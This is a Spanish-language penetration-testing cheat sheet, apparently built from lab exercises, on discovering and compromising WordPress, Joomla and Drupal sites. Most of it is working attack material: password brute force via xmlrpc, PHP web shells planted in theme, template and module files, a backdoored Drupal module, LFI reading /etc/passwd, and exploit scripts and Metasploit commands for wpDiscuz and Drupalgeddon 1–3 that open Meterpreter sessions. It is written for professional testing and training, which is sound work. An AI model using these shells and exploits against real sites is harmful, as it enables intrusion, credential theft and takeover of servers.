> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/content-management-systems-cms.md).

# Content Management Systems (CMS)

## WordPress — Discovery & Enumeration

**WordPress** (2003) es un CMS open-source en **PHP**, sobre **Apache + MySQL**. Muy personalizable y SEO-friendly → popular, pero su naturaleza extensible (themes y plugins de terceros) lo hace propenso a vulnerabilidades.

> Es el CMS más usado (\~32.5% de todos los sitios). Según WPScan, de \~4000 vulnerabilidades conocidas: **54% en plugins**, 31.5% en el core, 14.5% en themes. Garantizado que aparecerá en pentests externos.

#### Roles de usuario

| Rol               | Privilegios                                        |
| ----------------- | -------------------------------------------------- |
| **Administrator** | Todo: usuarios, posts, **editar código fuente**.   |
| **Editor**        | Publicar/gestionar posts (incluidos los de otros). |
| **Author**        | Publicar/gestionar **sus** posts.                  |
| **Contributor**   | Escribir sus posts, pero **no** publicarlos.       |
| **Subscriber**    | Navegar posts, editar su perfil.                   |

> Acceso de **administrator** suele bastar para RCE. Editors/authors pueden acceder a ciertos plugins vulnerables.

### 1. Discovery / Footprinting

#### robots.txt

```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/
Sitemap: https://inlanefreight.local/wp-sitemap.xml
```

> `/wp-admin` y `/wp-content` delatan WordPress. Ir a `/wp-admin` redirige a `/wp-login.php` (portal de login).

#### Directorios clave

| Ruta                   | Contenido                              |
| ---------------------- | -------------------------------------- |
| `/wp-admin/`           | Panel admin (login en `wp-login.php`). |
| `/wp-content/plugins/` | Plugins → enumerar vulnerables.        |
| `/wp-content/themes/`  | Themes → posible RCE.                  |

### 2. Enumeración manual (curl + grep)

#### Versión del core

```bash
curl -s http://blog.inlanefreight.local | grep WordPress
# <meta name="generator" content="WordPress 5.8" />
```

#### Theme

```bash
curl -s http://blog.inlanefreight.local/ | grep themes
# .../wp-content/themes/business-gravity/...
```

#### Plugins

```bash
curl -s http://blog.inlanefreight.local/ | grep plugins
# .../wp-content/plugins/contact-form-7/...
# .../wp-content/plugins/mail-masta/...
```

> Fingerprint de versiones: navegar a `/wp-content/plugins/<plugin>/` — si el **directory listing** está activo, el `readme.txt` suele revelar la versión (ej. mail-masta 1.0.0 → LFI de agosto 2021; wpDiscuz 7.0.4 → RCE no autenticado de junio 2021).

> ⚠️ No lanzarse a explotar el primer fallo: hay muchas otras vulns/misconfigs que no queremos perder.

### 3. Enumeración de usuarios

En `/wp-login.php`, los mensajes de error **distinguen** usuario válido de inválido:

| Input                     | Mensaje                                             |
| ------------------------- | --------------------------------------------------- |
| Usuario válido, pass mala | "The password for username **admin** is incorrect." |
| Usuario inválido          | "The username **someone** is not registered."       |

> → **Username enumeration**. Confirma que `admin` es válido.

### 4. Enumeración automática (WPScan)

Scanner de WordPress que detecta themes/plugins vulnerables u obsoletos.

```bash
sudo gem install wpscan
```

> Con un API token de **WPVulnDB** (`--api-token`), WPScan trae info de vulnerabilidades y PoCs (plan free: 25 requests/día).

#### Escaneo con enumeración

```bash
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
```

| Flag               | Descripción                                        |
| ------------------ | -------------------------------------------------- |
| `--url`            | URL del sitio (obligatorio).                       |
| `--enumerate`      | Enumera plugins, themes, usuarios, media, backups. |
| `--enumerate ap`   | Solo **all plugins**.                              |
| `--api-token`      | Token de WPVulnDB para datos de vulnerabilidades.  |
| `-t`               | Nº de threads (default 5).                         |
| `--detection-mode` | `mixed` / `passive` / `aggressive`.                |

#### Qué revela

* **Core 5.8** (inseguro) + sus CVEs.
* Theme real: **Transport Gravity** (child de Business Gravity — el manual se había quedado con el padre).
* Plugins, con vulns (mail-masta 1.0 → LFI + SQLi).
* Usuarios: **admin** y **john** (este último no salía en la enum manual).
* `XML-RPC` habilitado (`xmlrpc.php`) → brute-force de login.
* Directory listing y `readme.html` accesibles.

> ⚠️ WPScan **también falla**: no detectó wpDiscuz ni Contact Form 7. Por eso: **manual + automático** combinados. El scanner no reemplaza el ojo humano.

### Resumen rápido

| Paso              | Método                                        | Qué obtiene                   |
| ----------------- | --------------------------------------------- | ----------------------------- |
| 1. Identificar WP | `/robots.txt`, `/wp-admin`, `grep WordPress`  | Confirma WordPress + versión. |
| 2. Theme/plugins  | `grep themes` / `grep plugins` + `readme.txt` | Componentes y versiones.      |
| 3. Usuarios       | Mensajes de error en `wp-login.php`           | Usuarios válidos.             |
| 4. Automatizar    | `wpscan --enumerate --api-token`              | Vulns, PoCs, usuarios extra.  |

> Datos recopilados de ejemplo: WP 5.8, theme Transport Gravity, plugins Contact Form 7 / mail-masta (LFI+SQLi) / wpDiscuz 7.0.4 (RCE no auth), usuarios admin+john, XML-RPC activo, directory listing. Con esto se planea el ataque (siguiente sección).

## WordPress — Attacking

Confirmada la versión y los plugins, buscamos vías de ataque. Dos tácticas que se **encadenan** (necesitamos credenciales admin para editar un theme):

1. **Login brute-force** contra `wp-login.php` / `xmlrpc.php`.
2. **RCE vía Theme Editor** (con acceso admin).

Más las **vulnerabilidades conocidas** de plugins.

### 1. Login Brute-Force (WPScan)

WPScan hace brute-force por dos métodos: `wp-login` (página estándar) y **`xmlrpc`** (vía API, **más rápido** → preferido).

```bash
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
# [SUCCESS] - john / firebird1
```

| Flag                       | Descripción                                |
| -------------------------- | ------------------------------------------ |
| `--password-attack xmlrpc` | Método de brute-force (vía `/xmlrpc.php`). |
| `-U john`                  | Usuario (o archivo de usuarios).           |
| `-P <wordlist>`            | Lista de contraseñas.                      |
| `-t 20`                    | Threads.                                   |

> Resultado: `john : firebird1`.

### 2. RCE vía Theme Editor

Con acceso admin, editamos el PHP de un theme para ejecutar comandos.

**Pasos:** login como `john` → **Appearance** → **Theme Editor**. Elegir un theme **inactivo** (ej. Twenty Nineteen) para no corromper el activo (Transport Gravity). Editar una página poco usada como `404.php` y añadir:

```php
system($_GET[0]);
```

Guardar (**Update File**). Ejecutar vía el path del theme:

```bash
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Elemento                             | Descripción                               |
| ------------------------------------ | ----------------------------------------- |
| `system($_GET[0])`                   | Ejecuta el comando del parámetro GET `0`. |
| Theme **inactivo**                   | Evita romper el sitio en producción.      |
| `/wp-content/themes/<theme>/404.php` | Ruta del web shell.                       |

#### Alternativa — Metasploit (wp\_admin\_shell\_upload)

Sube un plugin malicioso y ejecuta un Meterpreter PHP:

```
use exploit/unix/webapp/wp_admin_shell_upload
set username john
set password firebird1
set rhost 10.129.42.195
set VHOST blog.inlanefreight.local
set lhost 10.10.14.15
exploit
```

> ⚠️ Requiere setear **VHOST + IP** o falla ("target does not appear to be using WordPress"). Sube un `.php` a `/wp-content/plugins/` → Meterpreter como `www-data`.

> 🧹 **Limpieza:** el módulo deja artefactos (`.php` subidos). Intentar removerlos y **listarlos en los apéndices del reporte**: sistemas explotados, usuarios comprometidos, artefactos creados, cambios realizados.

### 3. Vulnerabilidades de plugins conocidas

De \~23.595 vulns en la DB de WPScan: **89% plugins**, 7% themes, 4% core. Enumerar a fondo: plugins viejos/olvidados pero aún accesibles siguen siendo explotables.

> **Tip:** `waybackurls` + Wayback Machine para hallar versiones antiguas del sitio que usaban plugins vulnerables no removidos correctamente.

#### mail-masta — LFI

Código vulnerable (parámetro `pl` sin validar):

```php
include($_GET['pl']);
```

Explotar:

```bash
curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash ...
```

> También sufre SQL injection no autenticada.

#### wpDiscuz 7.0.4 — RCE (CVE-2020-24186)

Bypass de detección de MIME type: solo debía permitir imágenes, pero se puede subir un **PHP malicioso** sin autenticación → RCE.

```bash
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
# [+] Upload Success... Webshell path: .../uploads/2021/08/uthsdkbywoxeebg-...php
```

| Flag | Descripción            |
| ---- | ---------------------- |
| `-u` | URL del sitio.         |
| `-p` | Path a un post válido. |

El script puede fallar al ejecutar, pero el web shell subido funciona con `?cmd=`:

```bash
curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-...php?cmd=id"
# GIF689a;
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

> 🧹 Limpiar el `.php` subido y listarlo como artefacto en el reporte.

### Resumen rápido

| Vía                  | Requiere       | Resultado                                         |
| -------------------- | -------------- | ------------------------------------------------- |
| **Brute-force**      | Usuario válido | Credenciales (`wpscan --password-attack xmlrpc`). |
| **Theme Editor**     | Acceso admin   | RCE (`system($_GET[0])` en `404.php`).            |
| **MSF shell upload** | Acceso admin   | Meterpreter (`wp_admin_shell_upload`).            |
| **mail-masta**       | — (no auth)    | LFI (`?pl=/etc/passwd`) + SQLi.                   |
| **wpDiscuz 7.0.4**   | — (no auth)    | RCE (bypass MIME, CVE-2020-24186).                |

> Los plugins son la mayor superficie de ataque (89% de las vulns). Enumeración exhaustiva + limpieza de artefactos + documentación en apéndices son parte del trabajo profesional.

## Joomla — Discovery & Enumeration

**Joomla** (2005) es otro CMS open-source en **PHP + MySQL**, extensible con 7000+ extensiones y 1000+ templates. \~2.5 millones de sitios lo usan (\~3.5% del market share de CMS, \~10% del alcance de WordPress).

> Lo usan eBay, Yamaha, Harvard y el gobierno del Reino Unido. Joomla expone estadísticas de uso vía API pública (`developer.joomla.org/stats/`).

### 1. Discovery / Footprinting

#### Page source (generator meta)

```bash
curl -s http://dev.inlanefreight.local/ | grep Joomla
# <meta name="generator" content="Joomla! - Open Source Content Management" />
```

#### robots.txt (directorios típicos)

Delatan Joomla: `/administrator/`, `/components/`, `/modules/`, `/plugins/`, `/templates/`, `/installation/`, etc.

#### Fingerprint de versión

| Fuente       | Comando                                                                                                    |
| ------------ | ---------------------------------------------------------------------------------------------------------- |
| `README.txt` | `curl -s .../README.txt \| head -n 5` (rama 3.x).                                                          |
| `joomla.xml` | `curl -s .../administrator/manifests/files/joomla.xml \| xmllint --format -` → `<version>3.9.4</version>`. |
| `cache.xml`  | `plugins/system/cache/cache.xml` → versión aproximada.                                                     |
| JS files     | `media/system/js/`.                                                                                        |

```bash
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
# <version>3.9.4</version>
```

### 2. Enumeración (droopescan)

Scanner basado en plugins (SilverStripe, WordPress, Drupal; soporte limitado para Joomla/Moodle).

```bash
sudo pip3 install droopescan
droopescan scan joomla --url http://dev.inlanefreight.local/
```

| Elemento      | Descripción                  |
| ------------- | ---------------------------- |
| `scan joomla` | Modo de escaneo para Joomla. |
| `--url`       | URL objetivo.                |

> Devuelve posibles versiones + URLs interesantes (`joomla.xml`, login `/administrator/`, `LICENSE.txt`, `cache.xml`). Para Joomla da poca info más allá de la versión.

### 3. Enumeración (JoomlaScan)

Inspirado en el extinto OWASP joomscan. Desactualizado, requiere **Python 2.7**.

```bash
python2 -m pip install bs4
python2 joomlascan.py -u http://dev.inlanefreight.local
```

> Encuentra **componentes** (`com_actionlogs`, `com_admin`, `com_ajax`, `com_banners`...), directorios explorables y archivos LICENSE → ayuda a fingerprint de extensiones instaladas.

### 4. Login y brute-force

Portal admin: `http://dev.inlanefreight.local/administrator/index.php`.

> La enumeración de usuarios devuelve error **genérico** ("Username and password do not match...") → no se puede enumerar usuarios.

El usuario admin por defecto es **`admin`**, pero la contraseña se fija en la instalación → solo entramos si es débil/común (brute-force ligero):

```bash
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
# admin:admin
```

| Flag         | Descripción              |
| ------------ | ------------------------ |
| `-u`         | URL objetivo.            |
| `-w`         | Wordlist de contraseñas. |
| `-usr admin` | Usuario a atacar.        |

> Resultado: `admin:admin` → credenciales por defecto sin cambiar.

### Resumen rápido

| Paso                  | Método                                  | Qué obtiene                           |
| --------------------- | --------------------------------------- | ------------------------------------- |
| 1. Identificar Joomla | `grep Joomla`, `robots.txt`             | Confirma Joomla.                      |
| 2. Versión            | `joomla.xml`, `README.txt`, `cache.xml` | Versión exacta (3.9.4).               |
| 3. Componentes        | droopescan / JoomlaScan                 | Extensiones y directorios.            |
| 4. Acceso             | `joomla-brute.py`                       | Credenciales admin (default/débiles). |

> A diferencia de WordPress, Joomla **no** permite enumeración de usuarios (error genérico). El vector de acceso es el brute-force del `admin` con contraseñas por defecto/débiles. Versión de ejemplo: **Joomla 3.9.4**, admin:admin.

## Joomla — Attacking

Con las credenciales admin del brute-force anterior, buscamos **RCE** vía el backend, como en WordPress. Dos vías: abusar de la funcionalidad built-in (editar template PHP) y explotar **vulnerabilidades conocidas**.

### 1. Abusar de funcionalidad built-in (RCE vía template)

Login en `/administrator` con `admin:admin`.

> Si aparece el error "Call to a member function format() on null", ir a `index.php?option=com_plugins` y deshabilitar el plugin **"Quick Icon - PHP Version Check"** para que el panel cargue.

#### Pasos

1. **Templates** (abajo a la izquierda, bajo Configuration).
2. Elegir un template (ej. **protostar**).
3. Abrir una página para editar su source (ej. **`error.php`**).
4. Añadir un one-liner PHP:

```php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
```

5. **Save & Close** → confirmar con curl:

```bash
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Buena práctica                             | Por qué                                         |
| ------------------------------------------ | ----------------------------------------------- |
| Nombre de parámetro **no estándar** (hash) | Evita que un atacante "drive-by" use tu shell.  |
| Password-proteger / limitar por IP         | Restringe el acceso al shell.                   |
| **Limpiar** el shell al terminar           | Y documentar nombre, hash y ruta en el reporte. |

> El path del shell es `/templates/<template>/error.php` (no `/administrator/`).

### 2. Vulnerabilidades conocidas

De \~426 CVEs de Joomla, la mayoría son de **extensiones** (exploit-db: 1400+ entradas, casi todas de extensiones). Las RCE del core son raras.

#### CVE-2019-10945 (Joomla 1.5.0 – 3.9.4)

**Directory traversal + borrado de archivos autenticado.** Afecta la 3.9.4 de nuestro objetivo.

```bash
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
# administrator
# bin ... components ... configuration.php ... index.php
```

| Flag                        | Descripción                        |
| --------------------------- | ---------------------------------- |
| `--url`                     | URL del `/administrator/`.         |
| `--username` / `--password` | Credenciales (es **autenticado**). |
| `--dir`                     | Directorio a listar.               |

> Permite listar el webroot y otros directorios; también **borrar** archivos (no recomendado). Útil sobre todo si el portal admin **no** es accesible desde fuera — porque con credenciales admin ya tenemos RCE directo (método 1).

> ⚠️ Que exista un CVE no significa que sea explotable ni que haya PoC funcional. La 3.9.4 es de marzo 2019, pero es común encontrarla en grandes empresas sin inventario de apps.

### Resumen rápido

| Vía                 | Requiere           | Resultado                                  |
| ------------------- | ------------------ | ------------------------------------------ |
| **Template Editor** | Acceso admin       | RCE (`system($_GET[...])` en `error.php`). |
| **CVE-2019-10945**  | Credenciales admin | Directory traversal + borrado de archivos. |

> Con acceso admin, editar el PHP de un template (protostar/`error.php`) es la vía más directa a RCE — mismo patrón que el Theme Editor de WordPress. Usar nombres de shell no estándar, limpiar y documentar los artefactos.

## Drupal — Discovery & Enumeration

**Drupal** (2001) es el tercer CMS común, open-source en **PHP**, con **MySQL/PostgreSQL** (o SQLite si no hay DBMS). Extensible con \~43.000 módulos y \~2900 themes. \~1.5% de los sitios de internet, \~2.4% del market share de CMS.

> Lo usan Tesla, Warner Bros, el 33 de las Fortune 500 y el 56% de webs gubernamentales del mundo.

#### Tipos de usuario

| Rol                    | Privilegios                                                  |
| ---------------------- | ------------------------------------------------------------ |
| **Administrator**      | Control total del sitio.                                     |
| **Authenticated User** | Login + operaciones según permisos (crear/editar artículos). |
| **Anonymous**          | Todo visitante; por defecto solo lee posts.                  |

### 1. Discovery / Footprinting

Formas de identificar Drupal:

| Señal                          | Detalle                                          |
| ------------------------------ | ------------------------------------------------ |
| Header/footer                  | "Powered by Drupal".                             |
| `CHANGELOG.txt` / `README.txt` | Archivos estándar.                               |
| Page source                    | `<meta name="Generator" content="Drupal 8...">`. |
| `robots.txt`                   | Referencias a `/node`.                           |
| **Nodes**                      | URIs tipo `/node/<id>`.                          |

```bash
curl -s http://drupal.inlanefreight.local | grep Drupal
# <meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
# Powered by Drupal
```

#### Nodes

Drupal indexa su contenido con **nodos** (un post, encuesta, artículo...). Las URIs son `/node/<nodeid>`:

```
http://drupal.inlanefreight.local/node/1
```

> Útil para identificar Drupal cuando hay un theme custom que oculta las señales típicas.

> **Nota:** no toda instalación se ve igual ni expone el login desde internet.

### 2. Enumeración de versión

#### CHANGELOG.txt

```bash
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
# Drupal 7.57, 2018-02-21
```

> ⚠️ Las instalaciones **nuevas** bloquean `CHANGELOG.txt` y `README.txt` por defecto → devuelven 404. Hay que enumerar por otras vías.

#### droopescan (mejor soporte para Drupal)

```bash
droopescan scan drupal -u http://drupal.inlanefreight.local
# [+] Plugins found: php http://.../modules/php/
# [+] Possible version(s): 8.9.0 / 8.9.1
# [+] Default admin - http://.../user/login
```

| Elemento      | Descripción                                 |
| ------------- | ------------------------------------------- |
| `scan drupal` | Modo Drupal (más completo que para Joomla). |
| `-u`          | URL objetivo.                               |

> Detecta versión (8.9.1), módulos (`php`) y el login (`/user/login`).

### Resumen rápido

| Paso                  | Método                                             | Qué obtiene                         |
| --------------------- | -------------------------------------------------- | ----------------------------------- |
| 1. Identificar Drupal | `grep Drupal`, "Powered by Drupal", `/node/1`      | Confirma Drupal.                    |
| 2. Versión            | `CHANGELOG.txt` (si no está bloqueado), droopescan | Versión (ej. 8.9.1).                |
| 3. Módulos/login      | droopescan                                         | Módulos instalados + `/user/login`. |

> Drupal se identifica bien por los **nodos** (`/node/<id>`) incluso con themes custom. `CHANGELOG.txt` da la versión si no está bloqueado; si no, droopescan (que tiene mucho mejor soporte para Drupal que para Joomla). El módulo `php` habilitado es señal clave para el ataque (siguiente sección).

## Drupal — Attacking

En Drupal, obtener shell **no** es tan simple como editar un PHP del theme (como WP/Joomla). Vías: el módulo **PHP Filter**, subir un **módulo con backdoor**, o los CVEs **Drupalgeddon** (1/2/3).

### 1. PHP Filter Module

#### Drupal < 8 (viene disponible)

Como admin, habilitar el módulo **PHP filter** ("Allows embedded PHP code/snippets to be evaluated"):

1. **Modules** → tildar **PHP filter** → **Save configuration**.
2. **Content** → **Add content** → **Basic page**.
3. Insertar el web shell y poner **Text format = PHP code**:

```php
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>
```

4. Save → redirige a `/node/<id>`. Ejecutar:

```bash
curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"
# uid=33(www-data) ...
```

> Nombre de parámetro con **hash MD5** (no `cmd`) → evita drive-by attackers.

#### Drupal ≥ 8 (hay que instalarlo)

El PHP Filter **no** viene por defecto. Descargar e instalar el módulo (avisar al cliente antes, es un cambio en su instancia):

```bash
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
```

**Administration > Reports > Available updates** (o bajo **Extend**) → Browse → Install. Luego igual que en Drupal 7.

> 🧹 Al terminar: **remover/deshabilitar** el PHP Filter y **borrar** las páginas creadas.

### 2. Módulo con backdoor

Drupal permite subir módulos. Se le añade un shell a un módulo existente (ej. CAPTCHA).

```bash
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```

Crear el web shell:

```php
<?php
system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']);
?>
```

Crear un `.htaccess` (Drupal **niega acceso directo** a `/modules`):

```apache
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

Empaquetar y subir:

```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```

**Manage → Extend → + Install new module** → subir `captcha.tar.gz`. Ejecutar:

```bash
curl -s "drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
# uid=33(www-data) ...
```

| Elemento                        | Por qué                                             |
| ------------------------------- | --------------------------------------------------- |
| `.htaccess` con `RewriteBase /` | Restaura el acceso a `/modules` que Drupal bloquea. |

### 3. Drupalgeddon (CVEs conocidos)

| CVE           | Nombre            | Afecta           | Tipo                                  |
| ------------- | ----------------- | ---------------- | ------------------------------------- |
| CVE-2014-3704 | **Drupalgeddon**  | 7.0 – 7.31       | SQLi pre-auth → crear admin.          |
| CVE-2018-7600 | **Drupalgeddon2** | < 7.58 y < 8.5.1 | RCE (input sanitization en registro). |
| CVE-2018-7602 | **Drupalgeddon3** | 7.x / 8.x        | RCE autenticado (Form API).           |

#### Drupalgeddon (SQLi → crear admin)

```bash
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
# [!] Administrator user created!  Login: hacker / Pass: pwnd
```

> Crea un admin nuevo → login → habilitar PHP Filter → RCE. También vía MSF `exploit/multi/http/drupal_drupageddon`.

#### Drupalgeddon2 (RCE no auth)

Confirmar (sube `hello.txt`):

```bash
python3 drupalgeddon2.py
# Enter target url: http://drupal-dev.inlanefreight.local/
curl -s http://drupal-dev.inlanefreight.local/hello.txt   # ;-)
```

Modificar el script para subir un PHP shell (codificado en base64 para no romper el comando):

```bash
echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64
# PD9waHAgc3lzdGVt...
# en el script: echo "PD9..." | base64 -d | tee mrb3n.php
```

Ejecutar y confirmar:

```bash
curl "http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
# uid=33(www-data) ...
```

#### Drupalgeddon3 (RCE autenticado, MSF)

Requiere sesión válida (cookie) y permiso de **borrar un nodo**.

```
use exploit/multi/http/drupal_drupageddon3
set rhosts 10.129.42.195
set VHOST drupal-acc.inlanefreight.local
set drupal_session SESS45ec...=jaAPbanr...
set DRUPAL_NODE 1
set LHOST 10.10.14.15
exploit
# meterpreter > getuid → www-data
```

| Opción           | Descripción                         |
| ---------------- | ----------------------------------- |
| `drupal_session` | Cookie de sesión autenticada.       |
| `DRUPAL_NODE`    | Nodo existente (page/article/post). |
| `VHOST`          | Virtual host.                       |

***

### Resumen rápido

| Vía                 | Requiere                  | Resultado                                 |
| ------------------- | ------------------------- | ----------------------------------------- |
| **PHP Filter**      | Acceso admin              | RCE (web shell en un node).               |
| **Módulo backdoor** | Acceso admin              | RCE (shell en `/modules/`) + `.htaccess`. |
| **Drupalgeddon**    | — (pre-auth)              | SQLi → crear admin → RCE.                 |
| **Drupalgeddon2**   | — (no auth)               | RCE directo (subir PHP).                  |
| **Drupalgeddon3**   | Sesión auth + borrar nodo | RCE (Meterpreter, MSF).                   |

> Drupal requiere más pasos que WP/Joomla para RCE. Sin credenciales: Drupalgeddon 1/2 (pre/no-auth). Con admin: PHP Filter o módulo backdoor. Siempre limpiar módulos/páginas/shells y documentarlos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/content-management-systems-cms.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
